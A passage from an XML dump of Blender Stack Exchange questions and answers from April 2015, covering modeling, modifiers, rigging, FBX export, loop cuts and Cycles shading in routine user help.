3.0" />
  <row Id="29017" PostTypeId="1" AcceptedAnswerId="29214" CreationDate="2015-04-27T10:53:11.723" Score="1" ViewCount="733" Body="&lt;p&gt;I started working on blender in mac OS X 10.10, none of keyboard keys like G for move , R for rotation are not working as the way expected. I have added emulate 3key mouse also but didn't get any response from blender screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to troubleshoot  keyboard shortcuts, mouse settings work for blender in mac &#xA;OS X ?&lt;/p&gt;&#xA;" OwnerUserId="14025" LastActivityDate="2015-05-01T08:28:45.153" Title="Rotation, move objects are not working in OS X 10.10" Tags="&lt;shortcut&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29018" PostTypeId="2" ParentId="29002" CreationDate="2015-04-27T11:27:01.570" Score="6" Body="&lt;p&gt;The solidify modifier can be removed, if you need to do this kind of thing a few times do this instead:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select your Mesh, go to Edit Mode, Select All geometry.&lt;/li&gt;&#xA;&lt;li&gt;Hit E to Extrude, Then Z followed by Z again to constrain the direction&lt;/li&gt;&#xA;&lt;li&gt;Then move the mouse to the right, and the newly extruded geometry will start to move down. You can see by exactly how much in the bottom left (by default the contrast between the text and the panel make this unnecessarily hard to read (April 2015). But it looks like this&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WN4O4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the mouse, or left / right keys, or even type the number you want directly with the num keys.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;then to flatten the new geometry, hit &lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;Z&lt;/kbd&gt;, follwed by number &lt;code&gt;0&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's a view from the underneath before and after the flatten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DTop9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Cons:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;there are all kinds of factors that can interfere with how straightford this is, the location of the reliefs Object origin being one of them. If I had to do this repeatedly, it would be something to write a small python script for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recipe for such a script might be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;find lowest z coordinate of the original mesh&lt;/li&gt;&#xA;&lt;li&gt;extrude all faces a little bit&lt;/li&gt;&#xA;&lt;li&gt;replace all z values of the newly geometry with the lowest z of the original mesh minus the desired thickness.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This would produce a mesh with a minimum thickness.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-27T19:30:50.090" LastActivityDate="2015-04-27T19:30:50.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29019" PostTypeId="1" AcceptedAnswerId="29022" CreationDate="2015-04-27T11:27:52.767" Score="7" ViewCount="527" Body="&lt;p&gt;I have one object with 1 bevel modifier and second with 2 bevel modifier, when I join both (ctrl j) the 2 bevel changes bevel to the first one...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any way for each individual object keep their bevel modifier after joined?&lt;/p&gt;&#xA;" OwnerUserId="14006" LastActivityDate="2015-04-27T12:01:41.953" Title="object sharing bevel after joined" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29020" PostTypeId="2" ParentId="29002" CreationDate="2015-04-27T11:34:11.547" Score="2" Body="&lt;p&gt;In case you are using the solidify modifier :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create two materials in the material tab : &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R7I0x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;change the &lt;strong&gt;&lt;em&gt;material index offset&lt;/em&gt;&lt;/strong&gt; to 1 as follows :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MxZwY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;apply the modifier ( click apply button in the above image )&lt;/li&gt;&#xA;&lt;li&gt;in edit mode hit &lt;kbd&gt;A&lt;/kbd&gt; to deselect all the vertices ( nothing is selected now)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in the material tab select the second material and click &lt;strong&gt;&lt;em&gt;Select&lt;/em&gt;&lt;/strong&gt;  (the first image )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All bottom vertices are selected now hit &lt;kbd&gt;S&lt;/kbd&gt; then &lt;kbd&gt;Z&lt;/kbd&gt; and last &lt;kbd&gt;0&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-27T11:34:11.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29022" PostTypeId="2" ParentId="29019" CreationDate="2015-04-27T11:40:21.353" Score="8" Body="&lt;p&gt;Once several objects are joined they will discard their modifiers and inherit those on the &lt;strong&gt;last selected object&lt;/strong&gt; so it's not possible to join objects with modifiers on them and keep them unique, but you can limit the the modifier to a certain  vertex group :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Join the objects&lt;/li&gt;&#xA;&lt;li&gt;Assign each object to a vertex group&lt;/li&gt;&#xA;&lt;li&gt;Add two Bevel modifiers&lt;/li&gt;&#xA;&lt;li&gt;Set each modifier to effect only one vertex group&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VsdyR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="12" LastEditDate="2015-04-27T12:01:41.953" LastActivityDate="2015-04-27T12:01:41.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29023" PostTypeId="1" AcceptedAnswerId="29024" CreationDate="2015-04-27T11:43:23.057" Score="3" ViewCount="226" Body="&lt;p&gt;How should a low poly object with a few detailed points (the orange areas) like the one below be retopologized? How can the extra detail be added while keeping it low poly and as evenly distributed as possible. Thanks so much for the help, I really appreciate it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RLqG5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7524" OwnerDisplayName="Animatoring" LastEditorUserId="3710" LastEditDate="2015-04-27T13:04:54.467" LastActivityDate="2015-04-27T13:04:54.467" Title="How to retopologize low poly object with a few detailed points?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29024" PostTypeId="2" ParentId="29023" CreationDate="2015-04-27T12:23:27.637" Score="4" Body="&lt;p&gt;This is just my suggestion ;). With this kind of topology you'll be able to crease edges. And it's a bit less messy than yours.                                                    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p6UcG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-04-27T12:23:27.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29025" PostTypeId="1" CreationDate="2015-04-27T12:45:29.717" Score="0" ViewCount="398" Body="&lt;p&gt;at first, I would like to say that I'm totally newbie at Blender. I have a few experiences with similar program but I'm still beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to learn rigging from this source: &lt;a href=&quot;https://vimeo.com/30078317&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://vimeo.com/30078317&lt;/a&gt;&#xA;Everything goes well (to 14:30 min of video) until setting rotation to control multiple bones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attached picture of my problem.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dHMz0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At 14:28 - everything goes well as in tutorial until this time.&lt;br&gt;&#xA;At 14:47 - the foot flipped in tutorial but in my blender the &quot;shin.L&quot; bone is flipped well, the &quot;foot.L&quot; and &quot;foot_IK.L&quot; are flipped wrong.&lt;br&gt;&#xA;At 15:22 - after setting rotation and axes the foot returns to correct position in tutorial and same in my blender but moving with controlling bone and moving affected bones are different and inverted (15:24)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to solve it for two days but with my basic knowledge I can't find solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for help.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: According to suggestions in comments I uploaded my foots_test_002.blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The creation of foot controls are in state of time 14:28.&lt;br&gt;&#xA;According to tutorial you need to set &quot;Copy rotation&quot; to &quot;roll_back.L&quot; with properties: target &quot;metarig&quot;, bone &quot;roll_main.L&quot;, &quot;X&quot; checked, &quot;Invert&quot; checked, Space &quot;Local Space&quot; and &quot;Local Space&quot;, influence &quot;1.00&quot;, others checkboxes unchecked. I left it undone because you will probably want to see what it do in each step of setting up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/204/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=204&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;br&gt;&#xA;Shalladan&lt;/p&gt;&#xA;" OwnerUserId="14024" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-04-27T20:12:42.490" Title="Copy rotation / IK bug while rigging" Tags="&lt;rigging&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29026" PostTypeId="1" AcceptedAnswerId="29027" CreationDate="2015-04-27T13:32:01.003" Score="4" ViewCount="971" Body="&lt;p&gt;I have a 3D object with some animation on it. And a camera with some animation on it. I want to export only the 3D object with the animtion to FBX. So I remove the keyframes of the camera, I remove the camera I, deselect camera in the FBX export settings.&#xA;When I import in Unity3D i still see 'cameraAction' in the FBX properties (see image).&#xA;How can I remove all cameraAction in blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/csUEF.png&quot; alt=&quot;FBX animation properties Unity3D&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13941" LastActivityDate="2015-04-27T20:47:58.910" Title="how do I remove all cameraAction" Tags="&lt;animation&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29027" PostTypeId="2" ParentId="29026" CreationDate="2015-04-27T13:52:25.330" Score="5" Body="&lt;p&gt;You can remove an action from an object by going to the 'Dopesheet':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A1V89.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to the 'Action Editor' in the Dopesheet header and press the 'x' next to the action name (CameraAction in this case):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bp181.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will remove the action from the object selected in the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the action is not used by any other objects it will be removed from the file when the file is saved, closed and re-opened.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-27T20:47:58.910" LastActivityDate="2015-04-27T20:47:58.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29028" PostTypeId="1" CreationDate="2015-04-27T13:53:24.850" Score="1" ViewCount="72" Body="&lt;p&gt;My impression is the following (correct me if I am wrong):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumption: Models are used in a different engine (for example for a game) which renders light by itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exporting light with blender would only produce glitches and bugs with another engine right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under what circumstances would it be useful to export blender light/light-sources?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately can I delete any lightsource in blender without hesitation if I know that it will be rendered by another engine?&lt;/p&gt;&#xA;" OwnerUserId="12883" LastActivityDate="2015-04-27T13:53:24.850" Title="Should light be exported when rendered in a different engine?" Tags="&lt;export&gt;&lt;light&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29029" PostTypeId="2" ParentId="28739" CreationDate="2015-04-27T14:17:36.393" Score="1" Body="&lt;p&gt;There are two basic ways to approach this problem through particles and collision objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First is not very suitable for animations, since the leaves freeze at the moment they hit the collision object. You basically check the &quot;Die on Hit&quot; and &quot;Died&quot; check-boxes in the Particle settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PVFvK.jpg&quot; alt=&quot;Check-boxes I mention are highlighted with violet&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second is more suitable for animations since the leaves move a bit even after hitting the ground and come to a stop smoothly. Here you DON'T check the &quot;Die on Hit&quot; and &quot;Died&quot; check-boxes but you edit the settings for the collision object itself. Namely the Stickiness and Friction Factor values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H9LLM.jpg&quot; alt=&quot;Again, mentioned in violet&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, the big problem is keeping leaves not going through the ground thanks to rotation of the particle - the collisions don't take into account the shape of the leaves. I would need more context to choose a solution for this. One solution would probably be to let the leaves rotate only around Z axis (thus not going through XY planes) which would tamper with the animation of their fall though and work only on absolutely flat XY planes.&lt;/p&gt;&#xA;" OwnerUserId="4859" LastActivityDate="2015-04-27T14:17:36.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29030" PostTypeId="1" CreationDate="2015-04-27T14:32:29.997" Score="1" ViewCount="435" Body="&lt;p&gt;I want to retopo an object so I tried using the Xray option to make my new mesh appear in the viewport in front of others. However I don't want to be able to see on my new mesh faces that are facing away from the camera or are behind other faces as it's making the process pretty hard. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2015-04-30T15:17:44.707" Title="Xray and distracting geometry" Tags="&lt;topology&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-04-30T17:55:18.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="29031" PostTypeId="1" CreationDate="2015-04-27T14:36:28.097" Score="0" ViewCount="58" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hvwgU.png&quot; alt=&quot;Only to get the idea&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally, the bone use last bone created and connected to ease-out when it is segmented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I want to change it? For example, to ease-out with the first created bone.&lt;/p&gt;&#xA;" OwnerUserId="3496" LastEditorUserId="3496" LastEditDate="2015-04-28T12:01:28.943" LastActivityDate="2015-04-28T12:01:28.943" Title="How to know which bone does the parent segmented bone will use to ease-out?" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29032" PostTypeId="1" CreationDate="2015-04-27T15:48:52.420" Score="3" ViewCount="162" Body="&lt;p&gt;I have managed to make a change so that the the default rotate function for &quot;R&quot; (free) gets locked around the Z axis when in the perspective viewport. The problem is that when I do that Blender will not rotate around the correct axis when you enter the left, right, top viewports etc. Is there any way to keep Blenders' default on all viewports except the perspective one? &lt;/p&gt;&#xA;" OwnerUserId="14034" LastEditorUserId="241" LastEditDate="2015-04-27T15:54:40.280" LastActivityDate="2015-04-28T05:18:28.423" Title="How can I make the &quot;R&quot; key only rotate the object around the x &amp; y axis?" Tags="&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29033" PostTypeId="2" ParentId="27213" CreationDate="2015-04-27T15:51:22.620" Score="1" Body="&lt;p&gt;The cube was intersecting with the floor which created this effect :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object and hit G then Shift and move the mouse up slightly &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;or you can enable face snapping and move the cube to place it on top of the floor plane &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g8xhh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the render after moving the cube&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tn4Em.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-27T15:51:22.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29034" PostTypeId="2" ParentId="29032" CreationDate="2015-04-27T15:51:54.473" Score="3" Body="&lt;p&gt;When you press &lt;kbd&gt;R&lt;/kbd&gt; to rotate the object, press either &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt; on your keyboard. That will allow you to only rotate on one axis.&lt;/p&gt;&#xA;" OwnerUserId="13935" LastEditorUserId="3710" LastEditDate="2015-04-27T15:57:53.447" LastActivityDate="2015-04-27T15:57:53.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29035" PostTypeId="1" AcceptedAnswerId="29038" CreationDate="2015-04-27T16:00:28.443" Score="5" ViewCount="382" Body="&lt;p&gt;Is it possible to make uv seams thicker in the 3d view in Blender? &lt;/p&gt;&#xA;" OwnerUserId="14034" LastEditorUserId="241" LastEditDate="2015-04-27T16:02:46.180" LastActivityDate="2015-04-27T20:46:36.170" Title="Is it possible to make seams thicker in Bender?" Tags="&lt;uv&gt;&lt;interface&gt;&lt;customization&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29036" PostTypeId="1" AcceptedAnswerId="29037" CreationDate="2015-04-27T16:30:33.437" Score="3" ViewCount="5881" Body="&lt;p&gt;I am using a technique I found on YouTube titled &quot;Blender 2.59 Boat Hull Modeling Tutorial with converted B-Spline Guides&quot;.  Here is the link I used:  &lt;a href=&quot;https://www.youtube.com/watch?v=ij6RicPUoaA&amp;amp;feature=iv&amp;amp;src_vid=aWoB5x6VPkc&amp;amp;annotation_id=annotation_370854&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=ij6RicPUoaA&amp;amp;feature=iv&amp;amp;src_vid=aWoB5x6VPkc&amp;amp;annotation_id=annotation_370854&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed along with it and made those B-Splines as best I could using the orthographic views I made of the model using Inventor.  So far everything worked except for applying a mirror modifier to the plane as described at time 23:53/42:28 in the tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the narrator is using release 2.59 and we are using 2.72, so the problem may be a version issue but I'd appreciate some advice as to how to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in this image that the narrator is applying a mirror modifier while the plane he has created is in the edit mode.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/l7qrR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to do that I get the message &quot;Modifiers cannot be applied in edit mode&quot;.  My question is, &quot;How can I continue modeling the hull as shown in the tutorial if I can't use the mirror modifier?&quot;&lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="241" LastEditDate="2015-04-27T16:45:34.693" LastActivityDate="2015-04-27T20:45:32.700" Title="Mirror modifier can not be used in edit mode" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29037" PostTypeId="2" ParentId="29036" CreationDate="2015-04-27T16:37:51.303" Score="6" Body="&lt;p&gt;The person who made the video is simply saying 'apply' instead of 'add'. They do not 'apply' a mirror modifier, they just 'add' one. At no point, at least around the time you mentioned, do they actually press the 'apply' button on the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to apply the mirror modifier you would no longer have a mirroring effect on edits you make to the object. You only get mirroring for as long as the modifier is added to the object and &lt;em&gt;not&lt;/em&gt; applied. When you are finished you can press 'apply' and the mirrored side of the mesh will now be editable like any other piece of geometry. Seeing as at that time in the video he hadn't made much geometry it wouldn't have made sense to apply it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to summarise, to use the mirror modifier you just have to add it to the object by choosing it from the list of modifiers.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-27T20:45:32.700" LastActivityDate="2015-04-27T20:45:32.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29038" PostTypeId="2" ParentId="29035" CreationDate="2015-04-27T16:50:43.547" Score="4" Body="&lt;p&gt;At the minute, no, that does not appear to be an option. You can view all available theme options for the 3D view by going to &lt;em&gt;File&gt; User Preferences&gt; Themes&gt; 3D View&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kau5p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-27T20:46:36.170" LastActivityDate="2015-04-27T20:46:36.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29040" PostTypeId="1" CreationDate="2015-04-27T17:24:01.903" Score="3" ViewCount="743" Body="&lt;p&gt;I have desktop Intel core i7 920 quad core&#xA;windows vista&#xA;ATI Radeon HD 4870&#xA;1 GB discrete memory&#xA;9 GB DDRS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a batch code file to enable my video card to support my blender. please help. I have tried this code which I found it in youtube but it worked on PC with AMD Radeon video card.&lt;br&gt;&#xA;                         @ECHO OFf&#xA;cd &quot;c:\program files\blender foundation\blender&quot;&#xA;set CYCLES_OPENCL_TEST=ALL&#xA;start  blender.exe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;exit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is won't work with my video card type. any line I need to add in a batch please let me know. thank you&lt;/p&gt;&#xA;" OwnerUserId="14031" LastActivityDate="2017-02-21T10:25:04.030" Title="writing a batch code to enable video card to support blender" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29041" PostTypeId="2" ParentId="28942" CreationDate="2015-04-27T17:41:03.690" Score="10" Body="&lt;p&gt;Short answer: Use the bump node and just forget that displacement output is even there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer: Several years ago, Cycles was very young. Being open source and a much desired project, many people were using it and writing tutorials with it before it was anywhere near feature complete. Back then, it didn't have per-shader normals. What it did have was an experimental displacement feature. This displacement feature came with a function to offset the object normal based on the displacement map. This can be used to adjust the normal for fine detail in the disp map that couldn't be represented with actual geometry. You can also use it for bump mapping by just disabling the vertex displace part entirely. Since there was no other bump mapping support and the displacement didn't work 100% right (and still doesn't) the default behavior was bump-only. So people just used it as a bump map socket, and made tutorials as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some while later, Cycles got per-shader normals. These could support 3D vectors, allowing true normal map support. Being 3D and per-shader, you could also do more complicated effects with them, like smooth gloss over a rough surface, or combining normal and bump maps. In order to support grayscale bumpmaps with this new glorious system, the bump node was created which could take grayscale heightmaps and convert them into normal vectors like a normal map would output. It's not that different from the various &quot;create normal map&quot; filters for Photoshop, GIMP, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fast forward to today: Per-shader normals work pretty well, you can use them for bump and normal mapping, and any combo of the two. The displacement socket is still there, and it is still normally locked in &quot;bump-only&quot; mode. (devs are waiting for opensubdiv to go with it before finishing up that feature, as I recall). If you want actual displacement or that cool displacement w/fine detail bump, you can enable experimental features, then go to the mesh panel and change the displacement type to &quot;true&quot; or &quot;both&quot;. But normally it is set to &quot;bump&quot; which is pretty much the same as the bump node, but with less flexibility. And there's a chance the displacement output might change behavior in a future release. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's no real reason to use it. Or, almost no real reason. Since the displacement-bump effect works on the actual object normal rather than the normal used to evaluate a shader, the results of the bump show up in the normal pass, which isn't true of the per-shader normals. And as mentioned, there's the experimental actual displacement. If you don't care about those, though, just ignore that output.&lt;/p&gt;&#xA;" OwnerUserId="8081" LastActivityDate="2015-04-27T17:41:03.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29042" PostTypeId="1" AcceptedAnswerId="41764" CreationDate="2015-04-27T18:23:14.233" Score="18" ViewCount="10070" Body="&lt;p&gt;Is there a way of adding Subtitles directly in the VSE? Or do I have to make an animation of text meshes and add it to the video &lt;em&gt;via a Scene strip&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="3710" LastEditDate="2016-04-11T08:54:41.523" LastActivityDate="2020-06-12T01:58:47.293" Title="Video Sequence Editor - How to make subtitles?" Tags="&lt;animation&gt;&lt;video-sequence-editor&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29043" PostTypeId="1" AcceptedAnswerId="29044" CreationDate="2015-04-27T19:24:36.737" Score="11" ViewCount="2777" Body="&lt;p&gt;I'm trying to make some loop cuts in the mesh I'm using to create a house in order to add interior walls to the house.  Every time I try to make a loop cut, it starts rotated across the faces of my mesh rather than straight across the mesh.  Is there any way to keep loop cuts from doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mYC14.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1533" LastActivityDate="2015-05-21T13:35:41.093" Title="Slanted loop cuts" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ClosedDate="2015-05-06T08:16:19.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="29044" PostTypeId="2" ParentId="29043" CreationDate="2015-04-27T19:34:47.510" Score="14" Body="&lt;p&gt;After you hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; buttons and place the loopcut in the location you want, press &lt;kbd&gt;E&lt;/kbd&gt; button to make alignment with the side edges and then &lt;kbd&gt;F&lt;/kbd&gt; button to change to which side to align. Then you can slide the loop and apply the location with Left Mouth Button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xzdfc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CD8MY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: If the model is unwrapped, &lt;strong&gt;Correct UVs&lt;/strong&gt; option should be enabled in the &lt;strong&gt;Loop Cut and Slide&lt;/strong&gt; operator panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m1USM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-04-28T01:05:08.623" LastActivityDate="2015-04-28T01:05:08.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
